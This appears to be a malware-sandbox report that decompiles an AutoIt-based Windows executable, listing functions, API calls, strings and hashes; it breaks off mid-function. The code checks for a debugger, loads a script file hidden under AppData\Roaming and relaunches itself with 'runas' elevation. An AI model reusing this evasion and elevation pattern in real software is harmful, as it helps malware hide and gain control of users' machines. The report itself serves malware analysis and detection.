Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Peek$DispatchSleepTranslate
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE
API String ID: 1762048999-758534266
Opcode ID: b88dd3bdd13e2946df11ddd234c29c54021127b4d4565983dcc90dc990906676
Instruction ID: 4e12a122d45c29d933a70733c01a8b73f50ed71927ee4be7bb89bb55b7bdadad
Opcode Fuzzy Hash: b88dd3bdd13e2946df11ddd234c29c54021127b4d4565983dcc90dc990906676
Instruction Fuzzy Hash: AC62357160838ADFD724DF61C880BEAB7E4BF84304F10491DF55997292D774E889EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00EED7A0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 138
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00EED7A0(short* __eax, void* __ecx, void* __eflags, void* __fp0) {
				int _v5;
				char _v6;
				short* _v24;
				short _v556;
				short _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				int _t22;
				void* _t25;
				int _t28;
				int _t29;
				void* _t51;
				char _t52;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t59;
				struct tagMSG* _t68;
				short* _t72;
				void* _t79;
				void* _t81;

				_t87 = __fp0;
				_t79 = __eflags;
				_t59 = __ecx;
				_t72 = __eax;
				GetCurrentDirectoryW(0x104,  &_v556);
				E00EE2190(_t59, _t79, _t72);
				_t22 = IsDebuggerPresent();
				if(_t22 != 0) {
					return MessageBoxA(0, "It is a violation of the AutoIt EULA to attempt to reverse engineer this program.", "AutoIt", 0x10);
				}
				_v5 = _t22;
				_t81 =  *0xf87f54 - 1; // 0x2
				if(_t81 == 0) {
					_t55 =  *0xf87f5c; // 0x38e1848
					_v6 = 0;
					E00EE3C80(_t55, _t59, 0xf890e8, 1, 0xffffffff);
					_t60 =  *0xf774e8;
					_t56 = _v6;
					 *0xf890eb =  *0xf774e8;
					L4:
					_t68 =  *0xf87f54; // 0x2
					_t25 = E00EE16A0(_t60, _t68, "C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", _t68); // executed
					if(_t25 != 0) {
						E00EE10C0(0xf890e8);
						_t28 = SetCurrentDirectoryW( &_v556);
						 *0xf774f4 = 1;
						return _t28;
					}
					if(_t56 == 1) {
						_t29 = E00F12FD3();
						__eflags = _t29;
						if(_t29 != 0) {
							goto L6;
						}
						_t64 =  &_v1084;
						GetModuleFileNameW(0,  &_v1084, 0x104);
						__eflags = _v5;
						if(__eflags == 0) {
							ShellExecuteW(GetForegroundWindow(), L"runas",  &_v1084, _t72,  &_v556, 1);
						} else {
							_t78 =  &_v24;
							E00EE1D10("\"",  &_v24, __eflags);
							E00EE1DE0(_t78,  &_v1084, 0xf87f6c, _t87);
							E00EE1DE0(_t78, _t64, "\"", _t87);
							ShellExecuteW(GetForegroundWindow(), L"runas",  &_v1084, _v24,  &_v556, 1);
							E00EE2480(_t78);
						}
						L10:
						E00EE10C0(0xf890e8);
						_push( &_v556);
						L11:
						return SetCurrentDirectoryW();
					}
					L6:
					E00EF03E0(); // executed
					E00EF0350();
					if( *0xf87f58 == 0) {
						E00EEE2C0(0xf88710, _t87);
					}
					E00EE9430(0xf88178, _t68, _t87, 1); // executed
					if( *0xf87f58 == 0) {
						E00EE1240(0xf88710);
					}
					goto L10;
				}
				_t51 = E00EEF1D0(0xf87f6c, 0xf890e8, __fp0, 0xf87f54); // executed
				if(_t51 == 0) {
					 *0xf774f4 = 1;
					_push( &_v556);
					goto L11;
				} else {
					_t52 =  *0xf890e8; // 0x1
					_t56 =  *0xf890e9; // 0x0
					_t60 =  &_v1084;
					 *0xf87f58 = _t52;
					GetFullPathNameW("C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", 0x104,  &_v1084, 0xf87f50);
					goto L4;
				}
			}

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00EED7BA

Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE2262
Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE2278
Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE228E
Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE22A4
Part of subcall function 00EE2190: _wcscpy.LIBCMT ref: 00EE22C4

IsDebuggerPresent.KERNEL32 ref: 00EED7C6
GetFullPathNameW.KERNEL32(C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00000104,?,00F87F50,00F87F54), ref: 00EED82D

Part of subcall function 00EE16A0: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE16E5

SetCurrentDirectoryW.KERNEL32(?,00000001), ref: 00EED8A2
MessageBoxA.USER32 ref: 00F0E14F
SetCurrentDirectoryW.KERNEL32(?), ref: 00F0E1A3
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00F0E1D3
GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00F0E21D
ShellExecuteW.SHELL32(00000000), ref: 00F0E224

Part of subcall function 00EF03E0: GetSysColorBrush.USER32(0000000F), ref: 00EF03EB
Part of subcall function 00EF03E0: LoadCursorW.USER32(00000000,00007F00), ref: 00EF03FA
Part of subcall function 00EF03E0: LoadIconW.USER32(?,00000063), ref: 00EF0410
Part of subcall function 00EF03E0: LoadIconW.USER32(?,000000A4), ref: 00EF0423
Part of subcall function 00EF03E0: LoadIconW.USER32(?,000000A2), ref: 00EF0436
Part of subcall function 00EF03E0: LoadImageW.USER32 ref: 00EF045E
Part of subcall function 00EF03E0: RegisterClassExW.USER32 ref: 00EF04AD

Part of subcall function 00EF0350: CreateWindowExW.USER32 ref: 00EF0385
Part of subcall function 00EF0350: CreateWindowExW.USER32 ref: 00EF03AE
Part of subcall function 00EF0350: ShowWindow.USER32(?,00000000), ref: 00EF03C4
Part of subcall function 00EF0350: ShowWindow.USER32(?,00000000), ref: 00EF03CE

Part of subcall function 00EEE2C0: _memset.LIBCMT ref: 00EEE2E2
Part of subcall function 00EEE2C0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00EEE3A7

Strings

AutoIt, xrefs: 00F0E143
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00F0E148
C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EED7F5, 00EED823, 00EED83A, 00F0E1EC
runas, xrefs: 00F0E218, 00F0E247

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadWindow$Icon__wcsicoll$CurrentDirectoryName$CreateFullPathShow$BrushClassColorCursorDebuggerExecuteFileForegroundImageMessageModuleNotifyPresentRegisterShellShell__memset_wcscpy
String ID: AutoIt$C:\Users\user\AppData\Roaming\22032878\xaso.fhr$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 765478012-2546096124
Opcode ID: b7a36863c4766523194597d411e58d229d74ec1f59e2b2bf904f42f271302e2c
Instruction ID: 185187ecf29d1c3f4ea550bcaa87141258a0d9e70221f04bdaebd3f8c57f3029
Opcode Fuzzy Hash: b7a36863c4766523194597d411e58d229d74ec1f59e2b2bf904f42f271302e2c
Instruction Fuzzy Hash: AA412771A0938CABD704BBA2DC46BFD3778AB04710F541094F755632D2CBB49A84F762

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE560, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00EEE560(intOrPtr __eax, void* __ecx, void* __eflags) {
				char _v524;
				char _v1052;
				short _v1580;
				char _v1596;
				short _v1598;
				short _v1600;
				void* __edi;
				void* __esi;
				intOrPtr _t37;
				intOrPtr _t44;
				signed int _t45;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t54;
				signed int _t55;
				signed int _t63;
				short* _t65;
				intOrPtr _t75;
				intOrPtr _t76;
				signed int _t80;
				signed int _t89;
				intOrPtr _t93;
				intOrPtr _t94;
				void* _t95;
				void* _t96;
				void* _t98;
				signed int _t103;
				void* _t107;
				void* _t108;

				_t109 = __eflags;
				_push(_t98);
				_push(_t95);
				_push(0x400);
				 *0xf890e8 = 0;
				 *0xf890ec = __eax;
				 *0xf890f0 = 0;
				 *0xf890f4 = 0;
				 *0xf890f8 = 0;
				 *0xf890fc = 0;
				 *0xf89100 = 0xf65a48;
				 *0xf89104 = 0;
				 *0xf89108 = 0;
				 *0xf8910c = 0;
				 *0xf89110 = 0xf65a48;
				 *0xf89114 = 0;
				 *0xf89118 = 0;
				 *0xf8911c = 0;
				 *0xf89124 = 0;
				 *0xf8912c = 0;
				 *0xf89130 = 0x66; // executed
				_t37 = E00EF14F7(_t95, _t98, __eflags); // executed
				 *0xf89120 = _t37;
				GetModuleFileNameW(0,  &_v1580, 0x104);
				E00EF392E( &_v1580,  &_v524,  &_v1052, 0, 0);
				E00EF397A( &_v1052, L"Include", 0x104);
				E00EF39BE( &_v1580,  &_v524,  &_v1052, 0, 0);
				_push(0x20a);
				_t44 = E00EF14F7(_t95, _t98, _t109);
				_t89 =  *0xf89124; // 0x1
				_t75 =  *0xf89120; // 0x38e6d30
				 *((intOrPtr*)(_t75 + _t89 * 4)) = _t44;
				_t45 =  *0xf89124; // 0x1
				_t76 =  *0xf89120; // 0x38e6d30
				 *0xf89124 = _t45 + 1;
				E00EF1487( *((intOrPtr*)(_t76 + _t45 * 4)),  &_v1580);
				_t107 = (_t103 & 0xfffffff8) - 0x63c + 0x44;
				E00EEBEC0( &_v1596, _t109);
				_t49 = E00EEE6C0( &_v1596, _t109); // executed
				if(_t49 != 0) {
					_t96 = 0;
					__eflags = 0;
					_v1580 = 0;
					while(1) {
						_t100 =  &_v1596;
						_v1600 =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
						_v1598 = 0;
						__eflags =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
						if(__eflags == 0) {
							goto L6;
						}
						L4:
						_t65 = E00EE1C30(_t96, _t100, __eflags);
						__eflags =  *_t65 - 0x3b;
						if( *_t65 == 0x3b) {
							goto L6;
						}
						E00EF1456( &_v1580,  &_v1600);
						_t107 = _t107 + 8;
						_t96 = _t96 + 1;
						while(1) {
							_t100 =  &_v1596;
							_v1600 =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
							_v1598 = 0;
							__eflags =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
							if(__eflags == 0) {
								goto L6;
							}
							goto L4;
						}
						L6:
						_t53 = E00EF10E1( &_v1580);
						_t108 = _t107 + 4;
						__eflags = _t53;
						if(__eflags != 0) {
							_t63 = E00EF10E1( &_v1580);
							_t108 = _t108 + 4;
							__eflags =  *((short*)(_t108 + 0x1e + _t63 * 2)) - 0x5c;
							if(__eflags != 0) {
								E00EF1456( &_v1580, "\\");
								_t108 = _t108 + 8;
							}
						}
						_push(0x20a);
						_t54 = E00EF14F7(_t96, _t100, __eflags);
						_t80 =  *0xf89124; // 0x1
						_t93 =  *0xf89120; // 0x38e6d30
						 *((intOrPtr*)(_t93 + _t80 * 4)) = _t54;
						_t55 =  *0xf89124; // 0x1
						_t94 =  *0xf89120; // 0x38e6d30
						 *0xf89124 = _t55 + 1;
						E00EF2EDA( *((intOrPtr*)(_t94 + _t55 * 4)),  &_v1580, 0x104);
						_t107 = _t108 + 0x10;
						_v1580 = 0;
						__eflags =  *((intOrPtr*)(E00EE1C30(_t96,  &_v1596, __eflags)));
						if(__eflags == 0) {
							goto L1;
						} else {
							_t96 = _t96 + 1;
							continue;
						}
					}
				}
				L1:
				E00EE2480( &_v1596);
				return 0xf890e8;
			}

APIs

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00EEE5FF
__wsplitpath.LIBCMT ref: 00EEE61C

Part of subcall function 00EF392E: __wsplitpath_helper.LIBCMT ref: 00EF3970

_wcsncat.LIBCMT ref: 00EEE633
__wmakepath.LIBCMT ref: 00EEE64F

Part of subcall function 00EF39BE: __wmakepath_s.LIBCMT ref: 00EF39D4

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

_wcscpy.LIBCMT ref: 00EEE687

Part of subcall function 00EEE6C0: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,00EEE6A1), ref: 00EEE6DD

_wcscat.LIBCMT ref: 00F07324
_wcslen.LIBCMT ref: 00F07334
_wcslen.LIBCMT ref: 00F07345
_wcscat.LIBCMT ref: 00F0735F
_wcsncpy.LIBCMT ref: 00F0739F

Strings

Include, xrefs: 00EEE62D
\, xrefs: 00F0734D

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcscat_wcslenstd::exception::exception$Exception@8FileModuleNameOpenThrow__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpy
String ID: Include$\
API String ID: 3173733714-3429789819
Opcode ID: 1f7deedf8c1444fc805dd9317bac6ce67f064ae3ddfe1c7a991c50141bdfcc29
Instruction ID: 74fa2359567a3e240d141a70c94104d316076fe335bf5671c0a1ad85bcd3441f
Opcode Fuzzy Hash: 1f7deedf8c1444fc805dd9317bac6ce67f064ae3ddfe1c7a991c50141bdfcc29
Instruction Fuzzy Hash: 0B5192B180C74D9BC310EFA5DC898FA73E8FB88300F44455DF699A32A1E7B19644EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00EF03E0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 76
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF03E0() {
				struct _WNDCLASSEXW _v52;
				struct HICON__* _t18;
				struct HICON__* _t19;
				intOrPtr _t21;
				void* _t22;
				short _t23;
				void* _t24;
				void* _t25;
				struct HICON__* _t26;
				struct HICON__* _t28;
				struct HICON__* _t29;
				struct HBRUSH__* _t34;
				int _t36;

				_t34 = GetSysColorBrush(0xf);
				_t26 = LoadCursorW(0, 0x7f00);
				_t18 = LoadIconW( *0xf77520, 0x63); // executed
				 *0xf87f40 = _t18; // executed
				_t19 = LoadIconW( *0xf77520, 0xa4); // executed
				 *0xf87f48 = _t19;
				 *0xf87f4c = LoadIconW( *0xf77520, 0xa2);
				_t21 =  *0xf89604; // 0x38e17d8
				if( *((char*)(_t21 + 0x1f)) == 0) {
					_t22 = E00F23862(4);
					_t36 = 0;
				} else {
					_t36 = 0;
					_t22 = LoadImageW( *0xf77520, 0x63, 1, 0x10, 0x10, 0);
				}
				_t28 =  *0xf87f40; // 0x7c02a9
				_v52.hInstance =  *0xf77520;
				 *0xf87f44 = _t22;
				_v52.cbSize = 0x30;
				_v52.style = 0x23;
				_v52.cbClsExtra = _t36;
				_v52.cbWndExtra = _t36;
				_v52.hCursor = _t26;
				_v52.hbrBackground = _t34;
				_v52.lpszMenuName = _t36;
				_v52.lpszClassName = L"AutoIt v3";
				_v52.hIcon = _t28;
				_v52.hIconSm = _t22;
				_v52.lpfnWndProc = E00EE1320;
				_t23 = RegisterClassExW( &_v52);
				_t29 =  *0xf87f40; // 0x7c02a9
				 *0xf774e4 = _t23;
				_t24 =  *0xf87f44; // 0x1a0271
				_t25 = E00EF04E0(_t29, _t24); // executed
				return _t25;
			}

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EF03EB
LoadCursorW.USER32(00000000,00007F00), ref: 00EF03FA
LoadIconW.USER32(?,00000063), ref: 00EF0410
LoadIconW.USER32(?,000000A4), ref: 00EF0423
LoadIconW.USER32(?,000000A2), ref: 00EF0436
LoadImageW.USER32 ref: 00EF045E
RegisterClassExW.USER32 ref: 00EF04AD

Part of subcall function 00EF04E0: GetSysColorBrush.USER32(0000000F), ref: 00EF0513
Part of subcall function 00EF04E0: RegisterClassExW.USER32 ref: 00EF053D
Part of subcall function 00EF04E0: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EF054E
Part of subcall function 00EF04E0: InitCommonControlsEx.COMCTL32(00F890E8), ref: 00EF056B
Part of subcall function 00EF04E0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EF057B
Part of subcall function 00EF04E0: LoadIconW.USER32(00EE0000,000000A9), ref: 00EF0592
Part of subcall function 00EF04E0: ImageList_ReplaceIcon.COMCTL32(01166180,000000FF,00000000), ref: 00EF05A2

Strings

#, xrefs: 00EF0483
0, xrefs: 00EF047C
AutoIt v3, xrefs: 00EF0499

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: de310cb1bd927c3f6c4fda1511fcab8f4a5841fa57625650e4b148a46ded1052
Instruction ID: 779cb563e92106b0c2cc02f625cd531960aa74cd107c3bc937fa96bc7eeecaea
Opcode Fuzzy Hash: de310cb1bd927c3f6c4fda1511fcab8f4a5841fa57625650e4b148a46ded1052
Instruction Fuzzy Hash: 262171B0D1431CABD710EFAAEC45BAE7BB5BB4C700F14405AE618A7290D7B19940EF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF04E0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 56
windowregistryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00EF04E0(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v12;
				struct _WNDCLASSEXW _v60;
				struct HINSTANCE__* _t19;
				void* _t25;
				void* _t26;
				int _t27;
				struct HINSTANCE__* _t29;
				void* _t31;

				_t19 =  *0xf77520;
				 *0xf88684 = _t19;
				_v60.cbSize = 0x30;
				_v60.style = 0x2b;
				_v60.cbClsExtra = 0;
				_v60.cbWndExtra = 0x1e;
				_v60.hInstance = _t19;
				_v60.hCursor = 0;
				_v60.hbrBackground = GetSysColorBrush(0xf);
				_v60.lpszMenuName = 0;
				_v60.hIconSm = _a8;
				_v60.hIcon = _a4;
				_v60.lpszClassName = L"AutoIt v3 GUI";
				_v60.lpfnWndProc = 0xf5f04b;
				 *0xf774e0 = RegisterClassExW( &_v60);
				 *0xf88688 = RegisterWindowMessageW(L"TaskbarCreated");
				_v12 = 8;
				_v8 = 0x13b;
				__imp__InitCommonControlsEx( &_v12);
				_t25 = ImageList_Create(0x10, 0x10, 0x21, 1, 1);
				_t29 =  *0xf88684; // 0xee0000
				 *0xf886dc = _t25;
				_t26 = LoadIconW(_t29, 0xa9);
				_t31 =  *0xf886dc; // 0x1166180
				_t27 = ImageList_ReplaceIcon(_t31, 0xffffffff, _t26); // executed
				 *0xf886e0 = 0;
				return _t27;
			}

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EF0513
RegisterClassExW.USER32 ref: 00EF053D
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EF054E
InitCommonControlsEx.COMCTL32(00F890E8), ref: 00EF056B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EF057B
LoadIconW.USER32(00EE0000,000000A9), ref: 00EF0592
ImageList_ReplaceIcon.COMCTL32(01166180,000000FF,00000000), ref: 00EF05A2

Strings

TaskbarCreated, xrefs: 00EF0543
0, xrefs: 00EF04F5
+, xrefs: 00EF04FC

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$TaskbarCreated
API String ID: 2914291525-888179712
Opcode ID: 47c533133e33b8848e433c8fee48321bed832c56643233425b6fbdb0efa49311
Instruction ID: 71d505992e5ebcb220ef91cdb0d917a7de49c02206dc69e65c0dd0953b91d3c4
Opcode Fuzzy Hash: 47c533133e33b8848e433c8fee48321bed832c56643233425b6fbdb0efa49311
Instruction Fuzzy Hash: 402115B190030CAFDB40DFA4E848ADDBBB4BB08750F10821AF915A7390DBB10545EF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EEA9D0, Relevance: 16.6, APIs: 8, Strings: 1, Instructions: 881
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00EEA9D0(void __ecx, void* __fp0, void* _a4, void* _a8, void* _a12, intOrPtr _a16) {
				char _v28;
				void _v32;
				char _v48;
				char _v52;
				intOrPtr _v56;
				void* _v60;
				char _v64;
				char _v68;
				void _v72;
				char _v76;
				void _v80;
				char _v84;
				char _v85;
				void* _v92;
				char _v95;
				short _v96;
				void _v100;
				void* _v104;
				void* _v108;
				void _v112;
				char _v115;
				short _v116;
				char _v119;
				void* _v120;
				void* _v124;
				void* _v128;
				void _v136;
				void* _v140;
				char _v148;
				void* _v152;
				void* _v156;
				void _v160;
				void __ebx;
				void* __edi;
				void* __esi;
				void* _t371;
				intOrPtr _t380;
				void* _t381;
				void* _t382;
				void** _t384;
				void* _t385;
				void* _t387;
				void* _t388;
				void* _t389;
				intOrPtr _t390;
				void* _t409;
				void* _t411;
				void* _t412;
				void* _t413;
				signed int _t414;
				void* _t422;
				void** _t427;
				void* _t428;
				void* _t430;
				void* _t431;
				void* _t438;
				void* _t442;
				void* _t443;
				void* _t446;
				void* _t448;
				void* _t449;
				void* _t450;
				void* _t451;
				signed int _t452;
				void* _t459;
				void _t490;
				short _t491;
				void* _t492;
				void* _t493;
				void* _t494;
				void** _t495;
				void* _t496;
				void* _t499;
				void* _t501;
				void** _t502;
				void* _t503;
				signed int _t508;
				void** _t517;
				void* _t521;
				void* _t525;
				void* _t531;
				void* _t534;
				void* _t546;
				void _t547;
				void* _t551;
				void _t554;
				signed int* _t559;
				void* _t563;
				signed int _t572;
				void* _t574;
				void* _t575;
				void* _t594;

				_t594 = __fp0;
				_t574 = (_t572 & 0xfffffff8) - 0x84;
				_v112 = __ecx;
				_t580 =  *0xf89600 & 0x00000001;
				if(( *0xf89600 & 0x00000001) == 0) {
					 *0xf89600 =  *0xf89600 | 0x00000001;
					 *0xf895f0 = 0;
					 *0xf895f8 = 1;
					 *0xf895fc = 0;
					E00EF122A(__eflags, 0xf05b41);
					_t574 = _t574 + 4;
				}
				_t563 = _a12;
				_push(8);
				_v96 = 1;
				_v128 = _t563;
				_v124 = 0;
				_v120 = 0;
				_v116 = 1;
				_t371 = E00EF14F7(0, _t563, _t580);
				_t575 = _t574 + 4;
				if(_t371 == 0) {
					_t371 = 0;
				} else {
					 *_t371 = 0x14;
				}
				 *((intOrPtr*)(_t371 + 4)) = 0;
				_t559 = _a8;
				_v100 = _t371;
				_v104 = 1;
				_v108 = 0x17;
				_v92 = ( *( *((intOrPtr*)(_a4 + 4)) +  *_t559 * 4))[2];
				while(1) {
					L4:
					_t508 =  *_t559;
					if(_t508 == _a16) {
						goto L9;
					}
					L5:
					_t380 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)) + _t508 * 4));
					if( *((short*)(_t380 + 8)) == 0x7f) {
						goto L9;
					}
					_t491 =  *((short*)(_t380 + 8));
					if(_t491 == 0x36) {
						_t492 = _v124;
						_v108 = 0x16;
						__eflags = _t492;
						if(_t492 != 0) {
							__eflags = _v115;
							if(__eflags == 0) {
								_push(0x18);
								_t381 = E00EF14F7(_t559, _t563, __eflags);
								_t575 = _t575 + 4;
								__eflags = _t381;
								if(_t381 == 0) {
									_t382 = 0;
								} else {
									_v136 = _t381;
									_t496 = _v136;
									E00EEBBB0(0xf895f0, _t496, _t508, _t559);
									_t382 = _t496;
									_t492 = _v124;
								}
								 *((intOrPtr*)(_t382 + 0x10)) = _v120;
								_v120 = _t382;
							} else {
								E00EE90D0(_v120, _t508, 0xf895f0);
								_t492 = _v128;
								_v119 = 0;
							}
							L31:
							_t384 =  *( *((intOrPtr*)(_a4 + 4)) +  *_t559 * 4);
							_t493 = _t492 + 1;
							_v124 = _t493;
							__eflags = _t493 - 1;
							if(_t493 != 1) {
								__eflags = _v115;
								_t543 = _v120;
								if(_v115 != 0) {
									_v136 =  *((intOrPtr*)(_t543 + 0x10));
								} else {
									_v136 = _t543;
								}
							} else {
								_v136 = _t563;
							}
							_t517 = _v136;
							_t494 =  *_t384;
							_t385 = _t517[3];
							__eflags = _t385;
							if(_t385 != 0) {
								E00F2651E(_t385);
								_t517 = _v140;
								_t517[3] = 0;
							}
							_t387 = _t517[2];
							__eflags = _t387 - 8;
							if(_t387 == 8) {
								_t543 =  *_t517;
								__eflags = _t543;
								if(_t543 == 0) {
									goto L35;
								}
								__imp__#9(_t543);
								_t543 =  *_v140;
								_push( *_v140);
								E00EF10FC();
								_t575 = _t575 + 4;
								goto L39;
							} else {
								L35:
								__eflags = _t387 - 0xa;
								if(_t387 == 0xa) {
									_t518 =  *_t517;
									__eflags =  *_t517;
									if(__eflags != 0) {
										E00F230B0(_t518);
									}
								} else {
									__eflags = _t387 - 5;
									if(_t387 == 5) {
										E00EEE470(_v136, _t563);
									} else {
										__eflags = _t387 - 0xb;
										if(_t387 == 0xb) {
											_t521 =  *_v136;
											_t543 =  *(_t521 + 4);
											_push( *(_t521 + 4));
											E00EF10FC();
											_push( *_v136);
											E00EF10FC();
											_t575 = _t575 + 8;
										} else {
											__eflags = _t387 - 0xc;
											if(__eflags == 0) {
												_t523 =  *_t517;
												__eflags =  *_t517;
												if(__eflags != 0) {
													E00F2B350(_t523);
												}
											}
										}
									}
								}
								L39:
								_t388 = _v136;
								_push(0x10);
								 *_t388 = 0;
								 *(_t388 + 8) = 4;
								_t389 = E00EF14F7(_t559, _t563, __eflags);
								_t575 = _t575 + 4;
								__eflags = _t389;
								if(_t389 == 0) {
									_t389 = 0;
								} else {
									 *_t389 =  *_t494;
									 *((intOrPtr*)(_t389 + 4)) =  *((intOrPtr*)(_t494 + 4));
									_t543 =  *(_t494 + 8);
									 *(_t389 + 8) =  *(_t494 + 8);
									_t495 =  *(_t494 + 0xc);
									 *(_t389 + 0xc) = _t495;
									 *_t495 =  *_t495 + 1;
									__eflags =  *_t495;
								}
								 *(_v136 + 0xc) = _t389;
								_t390 = _v112;
								 *_t559 = 1 +  *_t559;
								__eflags =  *((char*)(_t390 + 0xfd));
								if( *((char*)(_t390 + 0xfd)) != 0) {
									E00F37EDD(_t543, __eflags, _t594, E00EED340( &_v128));
									_t390 = _v116;
								}
								__eflags =  *((char*)(_t390 + 0xfe));
								if( *((char*)(_t390 + 0xfe)) != 0) {
									E00F52F01(_v112, __eflags, _t594, _v112, E00EED340( &_v128));
								}
								while(1) {
									L4:
									_t508 =  *_t559;
									if(_t508 == _a16) {
										goto L9;
									}
									goto L5;
								}
							}
						}
						__eflags = _t563 - 0xf895f0;
						if(_t563 == 0xf895f0) {
							goto L31;
						}
						_t409 =  *(_t563 + 0xc);
						__eflags = _t409;
						if(_t409 != 0) {
							E00F2651E(_t409);
